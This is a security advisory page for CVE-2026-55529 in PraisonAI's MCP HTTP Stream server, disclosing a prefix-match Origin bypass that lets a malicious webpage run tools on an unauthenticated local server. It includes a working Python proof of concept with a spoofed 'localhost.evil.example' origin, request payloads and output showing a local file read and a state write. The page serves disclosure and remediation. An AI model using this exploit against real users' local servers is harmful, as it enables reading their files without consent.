CVE-2026-55529: PraisonAI PraisonAI Has An Origin Validation Vulnerability
MODERATE
Advisory Identifier:
GHSA-wj6g-v78p-6fx3
Advisory Summary
CVE-2026-55529 is a MODERATE (CVSS 6.9) praisonai has an origin validation vulnerability (CWE-306: Missing Authentication for Critical Function) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves praisonai has an origin validation bypass in mcp http stream transport that allows browser-mediated unauthenticated tool execution on local mcp server. Remediation is available by upgrading affected packages to version 4.6.58.
CVE-2026-55529 at a Glance
CVE Identifier
CVE-2026-55529
GHSA Identifier
GHSA-wj6g-v78p-6fx3
Severity
MODERATE
CVSS v3.1 Base Score
6.9
CWE Classification
CWE-306: Missing Authentication for Critical Function
Affected Product
PraisonAI
Package Ecosystem
PyPI
Published Date
Last Updated
Security Impact
CVSS: 6.9
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N).
Attack Vector
Network (AV:N)
Attack Complexity
High (AC:H)
Privileges Required
None (PR:N)
User Interaction
Required (UI:R)
Scope
Changed (S:C)
Confidentiality
High (C:H)
Integrity
Low (I:L)
Availability
None (A:N)
How to Fix CVE-2026-55529
To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
PraisonAI
fixed: 4.6.58
pip install PraisonAI>=4.6.58
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show PraisonAIHow to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-55529, inspect your installed packages using pip:
pip show PraisonAIAnalyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.58), your application is affected.
Note: The pip show PraisonAI command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Summary
PraisonAI's MCP HTTP Stream transport uses an unsafe prefix match when validating the `Origin` header. The default localhost allowlist includes origins such as `http://localhost`, and the validation accepts any origin that starts with an allowed value.
As a result, an attacker-controlled origin such as `http://localhost.evil.example` passes the localhost origin check.
When the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP `tools/call` requests against a locally running PraisonAI MCP server.
This is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to `127.0.0.1`, so this is not a directly internet-facing unauthenticated API in the default configuration.
### Details
Relevant source locations:
- `src/praisonai/praisonai/mcp_server/cli.py`
- `src/praisonai/praisonai/mcp_server/transports/http_stream.py`
- `src/praisonai/praisonai/mcp_server/server.py`
- `src/praisonai/praisonai/mcp_server/adapters/__init__.py`
- `src/praisonai/praisonai/mcp_server/adapters/extended_capabilities.py`
- `src/praisonai/praisonai/mcp_server/adapters/cli_tools.py`
- `src/praisonai/praisonai/capabilities/files.py`
The MCP CLI defaults to HTTP host `127.0.0.1`, API key `None`, and allowed origins `None` unless explicitly configured:
```python
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=8080)
parser.add_argument("--api-key", default=None)
parser.add_argument("--allowed-origins", default=None, help="Comma-separated allowed origins for security")
```
The CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:
```python
register_all()
server.run_http_stream(
host=parsed.host,
port=parsed.port,
endpoint=parsed.endpoint,
api_key=parsed.api_key,
cors_origins=cors_origins,
allowed_origins=allowed_origins,
session_ttl=parsed.session_ttl,
allow_client_termination=allow_termination,
response_mode=parsed.response_mode,
resumability_enabled=parsed.resumability,
)
```
When `allowed_origins` is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:
```python
if allowed_origins is None:
if host in ("127.0.0.1", "localhost", "::1"):
self.allowed_origins = [
"http://localhost",
"http://127.0.0.1",
"https://localhost",
"https://127.0.0.1",
]
```
The vulnerable validation accepts origins that merely start with an allowlisted value:
```python
for allowed in self.allowed_origins:
if request_origin == allowed or request_origin.startswith(allowed):
return True
```
Because `http://localhost.evil.example` starts with `http://localhost`, it is accepted as a trusted localhost origin.
Authentication is only enforced if an API key is configured:
```python
if self.api_key:
auth_header = request.headers.get("Authorization", "")
if not auth_header.startswith("Bearer ") or auth_header[7:] != self.api_key:
return JSONResponse(
{"error": "Unauthorized"},
status_code=401,
)
```
The request body is then parsed and dispatched to the MCP server:
```python
body = await request.json()
response = await self.server.handle_message(body)
```
The MCP server handles `tools/call` by looking up the named tool and invoking the registered handler with attacker-controlled arguments:
```python
tool_name = params.get("name")
arguments = params.get("arguments", {})
tool = self._tool_registry.get(tool_name)
if asyncio.iscoroutinefunction(tool.handler):
result = await tool.handler(**arguments)
else:
result = tool.handler(**arguments)
```
`register_all()` registers capability tools, extended capability tools, CLI tools, resources, and prompts:
```python
def _register_all():
register_all_tools()
register_extended_capability_tools()
register_cli_tools()
register_mcp_resources()
register_mcp_prompts()
```
One exposed MCP tool is `praisonai.files.create`, which accepts a local `file_path` and passes it to `file_create()`:
```python
@register_tool("praisonai.files.create")
def files_create(file_path: str, purpose: str = "assistants") -> str:
from praisonai.capabilities import file_create
result = file_create(file=file_path, purpose=purpose)
```
`file_create()` opens attacker-selected string paths as local files and passes the file object to LiteLLM:
```python
file_obj = file
if isinstance(file, str):
file_obj = open(file, 'rb')
response = litellm.create_file(**call_kwargs)
```
Another exposed MCP tool, `praisonai.todo.add`, writes attacker-supplied content into local PraisonAI state at `~/.praison/todo.json`.
### PoC
The following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory `litellm` module so the file-read effect is captured locally and safely.
Run from the repository root with test dependencies installed:
```bash
python3 poc_mcp_origin_bypass.py
```
`poc_mcp_origin_bypass.py`:
```python
import json
import os
import sys
import tempfile
import types
from pathlib import Path
from starlette.testclient import TestClient
ROOT = Path.cwd()
sys.path.insert(0, str(ROOT / "src" / "praisonai"))
sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))
# Fake litellm so the PoC proves local file read without network exfiltration.
captured = {}
fake_litellm = types.ModuleType("litellm")
def create_file(**kwargs):
f = kwargs["file"]
captured["filename"] = getattr(f, "name", "<bytes>")
captured["content"] = f.read().decode("utf-8")
class Resp:
id = "file-safe-local-poc"
object = "file"
bytes = len(captured["content"])
filename = captured["filename"]
purpose = kwargs.get("purpose")
status = "processed"
return Resp()
fake_litellm.create_file = create_file
sys.modules["litellm"] = fake_litellm
from praisonai.mcp_server.server import MCPServer
from praisonai.mcp_server.transports.http_stream import HTTPStreamTransport
from praisonai.mcp_server.adapters import register_all
register_all()
server = MCPServer(name="praisonai-local-poc")
# Default vulnerable configuration: localhost host, no API key, default allowed origins.
transport = HTTPStreamTransport(
server=server,
host="127.0.0.1",
api_key=None,
allowed_origins=None,
)
app = transport._create_app()
client = TestClient(app)
with tempfile.TemporaryDirectory() as td:
os.environ["HOME"] = td
marker = Path(td) / "safe-marker.txt"
marker.write_text("SAFE_LOCAL_MARKER_MCP_FILE_READ")
file_payload = {
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "praisonai.files.create",
"arguments": {
"file_path": str(marker),
"purpose": "assistants",
},
},
}
# Non-localhost malicious origin is blocked.
blocked = client.post(
"/mcp",
data=json.dumps(file_payload),
headers={
"Origin": "https://evil.example",
"Content-Type": "text/plain",
},
)
# Prefix-matching bypass: accepted because it starts with http://localhost.
bypass = client.post(
"/mcp",
data=json.dumps(file_payload),
headers={
"Origin": "http://localhost.evil.example",
"Content-Type": "text/plain",
},
)
todo_payload = {
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "praisonai.todo.add",
"arguments": {
"content": "SAFE_LOCAL_TODO_MARKER",
"priority": "high",
},
},
}
todo = client.post(
"/mcp",
data=json.dumps(todo_payload),
headers={
"Origin": "http://localhost.evil.example",
"Content-Type": "text/plain",
},
)
todo_file = Path(td) / ".praison" / "todo.json"
print(json.dumps({
"blocked_origin_status": blocked.status_code,
"bypass_origin_status": bypass.status_code,
"bypass_response_text": bypass.json().get("result", {}).get("content", [{}])[0].get("text"),
"captured_file_basename": Path(captured.get("filename", "")).name,
"captured_file_content": captured.get("content"),
"todo_status": todo.status_code,
"todo_response_text": todo.json().get("result", {}).get("content", [{}])[0].get("text"),
"todo_file_exists": todo_file.exists(),
}, indent=2))
```
Observed output:
```json
{
"blocked_origin_status": 403,
"bypass_origin_status": 200,
"bypass_response_text": "File created: file-safe-local-poc",
"captured_file_basename": "safe-marker.txt",
"captured_file_content": "SAFE_LOCAL_MARKER_MCP_FILE_READ",
"todo_status": 200,
"todo_response_text": "Todo added: 0440613d",
"todo_file_exists": true
}
```
The important results are:
- `Origin: https://evil.example` is rejected with `403`.
- `Origin: http://localhost.evil.example` is accepted with `200`.
- The bypassed request invokes `praisonai.files.create` and reads the local safe marker file.
- The bypassed request invokes `praisonai.todo.add` and writes local PraisonAI state.
### Impact
A malicious webpage can bypass the localhost Origin allowlist and trigger MCP `tools/call` requests against a locally running unauthenticated HTTP Stream server.
In local testing, this allowed invoking registered PraisonAI tools that:
- read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and
- modify local PraisonAI state by writing to `~/.praison/todo.json`.
The default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.
CVE-2026-55529 Affected PraisonAI Versions
1 component(s)
Fixed Versions:
4.6.58
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
PraisonAI
|
PyPI |
< 4.6.58
|
4.6.58
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wj6g-v78p-6fx3
Security Fix Commit
FIX COMMIT
https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1
PraisonAI Source Repository
REPOSITORY
https://github.com/MervinPraison/PraisonAI
PraisonAI Release
RELEASE
https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58
Frequently Asked Questions
What is CVE-2026-55529?
CVE-2026-55529 is a security vulnerability in PraisonAI involving PraisonAI has an origin validation bypass in MCP HTTP Stream transport that allows browser-mediated unauthenticated tool execution on local MCP server under CWE-306: Missing Authentication for Critical Function.
Which PraisonAI versions are affected?
Affected versions include releases prior to 4.6.58 across affected packages: PraisonAI.
What version fixes CVE-2026-55529?
Upgrading to 4.6.58 (or the latest patched release for your respective branch) resolves the vulnerability.
Is PraisonAI affected?
Yes, PraisonAI is affected in releases prior to 4.6.58. Upgrade your dependency to 4.6.58 or later.
What is the CVSS score of CVE-2026-55529?
CVE-2026-55529 has a CVSS v3.1 base score of 6.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N.
What CWE is associated with CVE-2026-55529?
CVE-2026-55529 is classified under CWE-306: Missing Authentication for Critical Function (The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.).
How can I check PyPI dependencies for CVE-2026-55529?
Run the dependency tree command: 'pip show PraisonAI'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-wj6g-v78p-6fx3",
"modified" : "2026-08-25T14:26:26Z",
"published" : "2026-08-25T14:26:26Z",
"aliases" : [ "CVE-2026-55529" ],
"summary" : "PraisonAI has an origin validation bypass in MCP HTTP Stream transport that allows browser-mediated unauthenticated tool execution on local MCP server",
"details" : "### Summary\n\nPraisonAI's MCP HTTP Stream transport uses an unsafe prefix match when validating the `Origin` header. The default localhost allowlist includes origins such as `http://localhost`, and the validation accepts any origin that starts with an allowed value.\n\nAs a result, an attacker-controlled origin such as `http://localhost.evil.example` passes the localhost origin check.\n\nWhen the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP `tools/call` requests against a locally running PraisonAI MCP server.\n\nThis is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to `127.0.0.1`, so this is not a directly internet-facing unauthenticated API in the default configuration.\n\n### Details\n\nRelevant source locations:\n\n- `src/praisonai/praisonai/mcp_server/cli.py`\n- `src/praisonai/praisonai/mcp_server/transports/http_stream.py`\n- `src/praisonai/praisonai/mcp_server/server.py`\n- `src/praisonai/praisonai/mcp_server/adapters/__init__.py`\n- `src/praisonai/praisonai/mcp_server/adapters/extended_capabilities.py`\n- `src/praisonai/praisonai/mcp_server/adapters/cli_tools.py`\n- `src/praisonai/praisonai/capabilities/files.py`\n\nThe MCP CLI defaults to HTTP host `127.0.0.1`, API key `None`, and allowed origins `None` unless explicitly configured:\n\n```python\nparser.add_argument(\"--host\", default=\"127.0.0.1\")\nparser.add_argument(\"--port\", type=int, default=8080)\nparser.add_argument(\"--api-key\", default=None)\nparser.add_argument(\"--allowed-origins\", default=None, help=\"Comma-separated allowed origins for security\")\n```\n\nThe CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:\n\n```python\nregister_all()\n\nserver.run_http_stream(\n host=parsed.host,\n port=parsed.port,\n endpoint=parsed.endpoint,\n api_key=parsed.api_key,\n cors_origins=cors_origins,\n allowed_origins=allowed_origins,\n session_ttl=parsed.session_ttl,\n allow_client_termination=allow_termination,\n response_mode=parsed.response_mode,\n resumability_enabled=parsed.resumability,\n)\n```\n\nWhen `allowed_origins` is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:\n\n```python\nif allowed_origins is None:\n if host in (\"127.0.0.1\", \"localhost\", \"::1\"):\n self.allowed_origins = [\n \"http://localhost\",\n \"http://127.0.0.1\",\n \"https://localhost\",\n \"https://127.0.0.1\",\n ]\n```\n\nThe vulnerable validation accepts origins that merely start with an allowlisted value:\n\n```python\nfor allowed in self.allowed_origins:\n if request_origin == allowed or request_origin.startswith(allowed):\n return True\n```\n\nBecause `http://localhost.evil.example` starts with `http://localhost`, it is accepted as a trusted localhost origin.\n\nAuthentication is only enforced if an API key is configured:\n\n```python\nif self.api_key:\n auth_header = request.headers.get(\"Authorization\", \"\")\n if not auth_header.startswith(\"Bearer \") or auth_header[7:] != self.api_key:\n return JSONResponse(\n {\"error\": \"Unauthorized\"},\n status_code=401,\n )\n```\n\nThe request body is then parsed and dispatched to the MCP server:\n\n```python\nbody = await request.json()\nresponse = await self.server.handle_message(body)\n```\n\nThe MCP server handles `tools/call` by looking up the named tool and invoking the registered handler with attacker-controlled arguments:\n\n```python\ntool_name = params.get(\"name\")\narguments = params.get(\"arguments\", {})\n\ntool = self._tool_registry.get(tool_name)\n\nif asyncio.iscoroutinefunction(tool.handler):\n result = await tool.handler(**arguments)\nelse:\n result = tool.handler(**arguments)\n```\n\n`register_all()` registers capability tools, extended capability tools, CLI tools, resources, and prompts:\n\n```python\ndef _register_all():\n register_all_tools()\n register_extended_capability_tools()\n register_cli_tools()\n register_mcp_resources()\n register_mcp_prompts()\n```\n\nOne exposed MCP tool is `praisonai.files.create`, which accepts a local `file_path` and passes it to `file_create()`:\n\n```python\n@register_tool(\"praisonai.files.create\")\ndef files_create(file_path: str, purpose: str = \"assistants\") -> str:\n from praisonai.capabilities import file_create\n result = file_create(file=file_path, purpose=purpose)\n```\n\n`file_create()` opens attacker-selected string paths as local files and passes the file object to LiteLLM:\n\n```python\nfile_obj = file\nif isinstance(file, str):\n file_obj = open(file, 'rb')\n\nresponse = litellm.create_file(**call_kwargs)\n```\n\nAnother exposed MCP tool, `praisonai.todo.add`, writes attacker-supplied content into local PraisonAI state at `~/.praison/todo.json`.\n\n### PoC\n\nThe following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory `litellm` module so the file-read effect is captured locally and safely.\n\nRun from the repository root with test dependencies installed:\n\n```bash\npython3 poc_mcp_origin_bypass.py\n```\n\n`poc_mcp_origin_bypass.py`:\n\n```python\nimport json\nimport os\nimport sys\nimport tempfile\nimport types\nfrom pathlib import Path\n\nfrom starlette.testclient import TestClient\n\nROOT = Path.cwd()\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai\"))\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai-agents\"))\n\n# Fake litellm so the PoC proves local file read without network exfiltration.\ncaptured = {}\nfake_litellm = types.ModuleType(\"litellm\")\n\ndef create_file(**kwargs):\n f = kwargs[\"file\"]\n captured[\"filename\"] = getattr(f, \"name\", \"<bytes>\")\n captured[\"content\"] = f.read().decode(\"utf-8\")\n\n class Resp:\n id = \"file-safe-local-poc\"\n object = \"file\"\n bytes = len(captured[\"content\"])\n filename = captured[\"filename\"]\n purpose = kwargs.get(\"purpose\")\n status = \"processed\"\n\n return Resp()\n\nfake_litellm.create_file = create_file\nsys.modules[\"litellm\"] = fake_litellm\n\nfrom praisonai.mcp_server.server import MCPServer\nfrom praisonai.mcp_server.transports.http_stream import HTTPStreamTransport\nfrom praisonai.mcp_server.adapters import register_all\n\nregister_all()\nserver = MCPServer(name=\"praisonai-local-poc\")\n\n# Default vulnerable configuration: localhost host, no API key, default allowed origins.\ntransport = HTTPStreamTransport(\n server=server,\n host=\"127.0.0.1\",\n api_key=None,\n allowed_origins=None,\n)\napp = transport._create_app()\nclient = TestClient(app)\n\nwith tempfile.TemporaryDirectory() as td:\n os.environ[\"HOME\"] = td\n\n marker = Path(td) / \"safe-marker.txt\"\n marker.write_text(\"SAFE_LOCAL_MARKER_MCP_FILE_READ\")\n\n file_payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"praisonai.files.create\",\n \"arguments\": {\n \"file_path\": str(marker),\n \"purpose\": \"assistants\",\n },\n },\n }\n\n # Non-localhost malicious origin is blocked.\n blocked = client.post(\n \"/mcp\",\n data=json.dumps(file_payload),\n headers={\n \"Origin\": \"https://evil.example\",\n \"Content-Type\": \"text/plain\",\n },\n )\n\n # Prefix-matching bypass: accepted because it starts with http://localhost.\n bypass = client.post(\n \"/mcp\",\n data=json.dumps(file_payload),\n headers={\n \"Origin\": \"http://localhost.evil.example\",\n \"Content-Type\": \"text/plain\",\n },\n )\n\n todo_payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"praisonai.todo.add\",\n \"arguments\": {\n \"content\": \"SAFE_LOCAL_TODO_MARKER\",\n \"priority\": \"high\",\n },\n },\n }\n\n todo = client.post(\n \"/mcp\",\n data=json.dumps(todo_payload),\n headers={\n \"Origin\": \"http://localhost.evil.example\",\n \"Content-Type\": \"text/plain\",\n },\n )\n\n todo_file = Path(td) / \".praison\" / \"todo.json\"\n\n print(json.dumps({\n \"blocked_origin_status\": blocked.status_code,\n \"bypass_origin_status\": bypass.status_code,\n \"bypass_response_text\": bypass.json().get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\"),\n \"captured_file_basename\": Path(captured.get(\"filename\", \"\")).name,\n \"captured_file_content\": captured.get(\"content\"),\n \"todo_status\": todo.status_code,\n \"todo_response_text\": todo.json().get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\"),\n \"todo_file_exists\": todo_file.exists(),\n }, indent=2))\n```\n\nObserved output:\n\n```json\n{\n \"blocked_origin_status\": 403,\n \"bypass_origin_status\": 200,\n \"bypass_response_text\": \"File created: file-safe-local-poc\",\n \"captured_file_basename\": \"safe-marker.txt\",\n \"captured_file_content\": \"SAFE_LOCAL_MARKER_MCP_FILE_READ\",\n \"todo_status\": 200,\n \"todo_response_text\": \"Todo added: 0440613d\",\n \"todo_file_exists\": true\n}\n```\n\nThe important results are:\n\n- `Origin: https://evil.example` is rejected with `403`.\n- `Origin: http://localhost.evil.example` is accepted with `200`.\n- The bypassed request invokes `praisonai.files.create` and reads the local safe marker file.\n- The bypassed request invokes `praisonai.todo.add` and writes local PraisonAI state.\n\n### Impact\n\nA malicious webpage can bypass the localhost Origin allowlist and trigger MCP `tools/call` requests against a locally running unauthenticated HTTP Stream server.\n\nIn local testing, this allowed invoking registered PraisonAI tools that:\n\n- read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and\n- modify local PraisonAI state by writing to `~/.praison/todo.json`.\n\nThe default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "PraisonAI"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.6.58"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wj6g-v78p-6fx3"
}, {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/MervinPraison/PraisonAI"
}, {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-306", "CWE-346" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-25T14:26:26Z",
"nvd_published_at" : null
}
}